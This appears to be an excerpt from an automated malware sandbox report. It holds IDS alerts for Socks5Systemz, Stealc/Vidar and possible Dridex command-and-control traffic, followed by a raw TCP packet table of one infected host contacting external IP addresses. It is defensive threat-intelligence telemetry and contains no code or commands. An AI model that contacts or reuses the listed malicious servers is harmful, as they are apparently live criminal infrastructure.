2024-09-18T14:31:51.181512+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49844	91.107.146.245	443	TCP
2024-09-18T14:31:51.421426+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49845	185.196.8.214	80	TCP
2024-09-18T14:31:52.142538+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49846	91.107.146.245	443	TCP
2024-09-18T14:31:52.365324+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49847	185.196.8.214	80	TCP
2024-09-18T14:31:53.321893+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49848	185.196.8.214	80	TCP
2024-09-18T14:31:54.306328+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49849	185.196.8.214	80	TCP
2024-09-18T14:31:55.384648+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49850	185.196.8.214	80	TCP
2024-09-18T14:31:55.471223+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49851	91.107.146.245	443	TCP
2024-09-18T14:31:56.481629+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49852	185.196.8.214	80	TCP
2024-09-18T14:31:56.729334+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49853	91.107.146.245	443	TCP
2024-09-18T14:31:57.618383+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49854	185.196.8.214	80	TCP
2024-09-18T14:31:58.480104+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49856	185.196.8.214	80	TCP
2024-09-18T14:31:59.160458+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49857	91.107.146.245	443	TCP
2024-09-18T14:31:59.433719+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49858	185.196.8.214	80	TCP
2024-09-18T14:32:01.702429+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49859	185.196.8.214	80	TCP
2024-09-18T14:32:01.703259+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49860	91.107.146.245	443	TCP
2024-09-18T14:32:02.618711+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49861	185.196.8.214	80	TCP
2024-09-18T14:32:05.081054+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49862	91.107.146.245	443	TCP
2024-09-18T14:32:05.328823+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49863	185.196.8.214	80	TCP
2024-09-18T14:32:06.307282+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49864	185.196.8.214	80	TCP
2024-09-18T14:32:06.664958+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49865	91.107.146.245	443	TCP
2024-09-18T14:32:07.329400+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49866	185.196.8.214	80	TCP
2024-09-18T14:32:07.361601+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	91.107.146.245	443	192.168.2.7	49865	TCP
2024-09-18T14:32:08.117884+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49867	91.107.146.245	443	TCP
2024-09-18T14:32:08.283903+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49868	185.196.8.214	80	TCP
2024-09-18T14:32:08.824724+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	91.107.146.245	443	192.168.2.7	49867	TCP
2024-09-18T14:32:09.158775+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49869	185.196.8.214	80	TCP
2024-09-18T14:32:09.504162+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49869	185.196.8.214	80	TCP
2024-09-18T14:32:09.733977+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49870	91.107.146.245	443	TCP
2024-09-18T14:32:10.541271+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49871	185.196.8.214	80	TCP
2024-09-18T14:32:10.735615+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49872	91.107.146.245	443	TCP
2024-09-18T14:32:11.402845+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49873	185.196.8.214	80	TCP
2024-09-18T14:32:11.787892+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49873	185.196.8.214	80	TCP
2024-09-18T14:32:12.608903+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49874	185.196.8.214	80	TCP
2024-09-18T14:32:12.968094+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49874	185.196.8.214	80	TCP
2024-09-18T14:32:13.327423+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49874	185.196.8.214	80	TCP
2024-09-18T14:32:13.677441+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49874	185.196.8.214	80	TCP
2024-09-18T14:32:13.716445+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49875	91.107.146.245	443	TCP
2024-09-18T14:32:14.502186+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49876	185.196.8.214	80	TCP
2024-09-18T14:32:14.768857+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49877	91.107.146.245	443	TCP
2024-09-18T14:32:15.313235+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49878	185.196.8.214	80	TCP
2024-09-18T14:32:16.159537+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49879	185.196.8.214	80	TCP
2024-09-18T14:32:16.994396+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49880	185.196.8.214	80	TCP
2024-09-18T14:32:17.883905+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49881	185.196.8.214	80	TCP
2024-09-18T14:32:18.701335+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49882	185.196.8.214	80	TCP
2024-09-18T14:32:19.526016+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49883	185.196.8.214	80	TCP
2024-09-18T14:32:20.373408+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49884	185.196.8.214	80	TCP
2024-09-18T14:32:20.735796+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49884	185.196.8.214	80	TCP
2024-09-18T14:32:21.551132+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49885	185.196.8.214	80	TCP
2024-09-18T14:32:21.895662+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49885	185.196.8.214	80	TCP
2024-09-18T14:32:22.260318+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49885	185.196.8.214	80	TCP
2024-09-18T14:32:23.097864+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49886	185.196.8.214	80	TCP
2024-09-18T14:32:23.929071+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49887	185.196.8.214	80	TCP
2024-09-18T14:32:24.746380+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49888	185.196.8.214	80	TCP
2024-09-18T14:32:25.559298+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49889	185.196.8.214	80	TCP
2024-09-18T14:32:25.912420+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49889	185.196.8.214	80	TCP
2024-09-18T14:32:26.748254+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49890	185.196.8.214	80	TCP
2024-09-18T14:32:27.588281+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49891	185.196.8.214	80	TCP
2024-09-18T14:32:28.395406+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49892	185.196.8.214	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 18, 2024 14:30:00.140029907 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:00.179352999 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:00.179461956 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:00.179752111 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:00.184636116 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:00.879098892 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:00.931874990 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:00.961929083 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:00.961983919 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:00.962089062 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:00.981911898 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:00.981944084 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:01.563102007 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:01.563227892 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:01.594079018 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:01.594114065 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:01.594507933 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:01.636040926 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:02.015868902 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:02.059400082 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:02.169918060 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:02.170005083 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:02.170077085 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:02.308177948 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:02.308218956 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:02.308235884 CEST	49701	443	192.168.2.7	173.231.16.77
Sep 18, 2024 14:30:02.308243036 CEST	443	49701	173.231.16.77	192.168.2.7
Sep 18, 2024 14:30:02.438819885 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:02.438869953 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:02.438982964 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:02.441273928 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:02.441286087 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:02.905915976 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:02.906003952 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:02.909281015 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:02.909296989 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:02.909584999 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:02.910912991 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:02.951423883 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:03.035697937 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:03.035825014 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:03.035892010 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:03.036109924 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:03.036135912 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:03.036151886 CEST	49702	443	192.168.2.7	34.117.59.81
Sep 18, 2024 14:30:03.036159992 CEST	443	49702	34.117.59.81	192.168.2.7
Sep 18, 2024 14:30:04.632993937 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:04.633044958 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:04.637913942 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:04.638048887 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:05.203304052 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:05.244432926 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:05.340111017 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:05.340111017 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:05.345166922 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:05.345180988 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:06.167859077 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:06.167879105 CEST	80	49700	45.91.200.135	192.168.2.7
Sep 18, 2024 14:30:06.168098927 CEST	49700	80	192.168.2.7	45.91.200.135
Sep 18, 2024 14:30:06.668340921 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:06.668416023 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:06.673274994 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:06.673371077 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:06.673373938 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:06.673496008 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:06.684757948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:06.685700893 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:06.685945034 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:06.686167002 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:06.686472893 CEST	49707	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:06.689805031 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:06.690526009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:06.690617085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:06.690766096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:06.690803051 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:06.690860987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:06.690938950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:06.691348076 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:06.691361904 CEST	80	49707	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:06.691467047 CEST	49707	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:06.692095995 CEST	49707	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:06.695600986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:06.695826054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:06.697676897 CEST	80	49707	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:06.871400118 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:06.871499062 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:06.876437902 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:06.876477003 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:06.876528025 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:06.876983881 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:06.876985073 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:06.877010107 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:06.882169962 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:06.882184982 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.267601967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.267853975 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.269048929 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.273914099 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.297879934 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.297956944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.298238039 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.303036928 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.311450958 CEST	80	49707	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.311512947 CEST	49707	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.312848091 CEST	49707	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.313575029 CEST	49710	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.319071054 CEST	80	49707	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.319135904 CEST	49707	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.319473028 CEST	80	49710	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.319535971 CEST	49710	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.319925070 CEST	49710	80	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:07.323036909 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.323127031 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.324301004 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.325680971 CEST	80	49710	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:07.330347061 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.360173941 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.360215902 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.360227108 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.360259056 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.360276937 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.360276937 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.360276937 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.360313892 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.360342026 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.360426903 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.360676050 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.360676050 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.360923052 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.361134052 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.361134052 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362379074 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362410069 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362461090 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362473011 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362497091 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362498999 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362498999 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362498999 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362512112 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362525940 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362546921 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362557888 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362571955 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362586021 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362617016 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362617016 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362638950 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362652063 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362663984 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362673998 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362677097 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.362689018 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362710953 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.362782001 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.363061905 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.363089085 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.363514900 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.367455959 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.367553949 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.368319035 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.368333101 CEST	80	49708	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.368356943 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.368367910 CEST	80	49709	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.368432999 CEST	49709	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.368577957 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.368577957 CEST	49708	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.368577957 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.368868113 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.369066000 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.369126081 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.369632006 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.589418888 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.603887081 CEST	49712	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:07.682478905 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682507992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682523966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682538033 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682550907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682562113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682574987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682588100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682600975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682614088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682626009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682668924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.682719946 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.682719946 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.682720900 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.682739019 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.682812929 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:07.682854891 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:07.682914972 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.683007002 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.683077097 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.683353901 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:07.684540987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.684607983 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.684875965 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:07.685415030 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.685513973 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.685524940 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.688503027 CEST	80	49712	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:07.688585043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.688719988 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.689954042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.689966917 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.689981937 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.689992905 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.690002918 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:07.690022945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690052032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690052032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690082073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690094948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690129995 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690145016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:07.690164089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690176964 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:07.690186977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:07.690237999 CEST	49705	80	192.168.2.7	103.130.147.211
